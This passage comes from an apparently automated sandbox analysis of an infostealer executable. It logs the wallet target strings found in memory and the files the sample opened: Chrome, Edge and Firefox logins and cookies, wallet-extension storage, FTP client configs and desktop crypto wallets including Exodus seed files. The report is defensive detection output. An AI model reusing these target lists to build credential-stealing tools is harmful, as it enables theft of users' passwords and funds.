Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2039853324.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
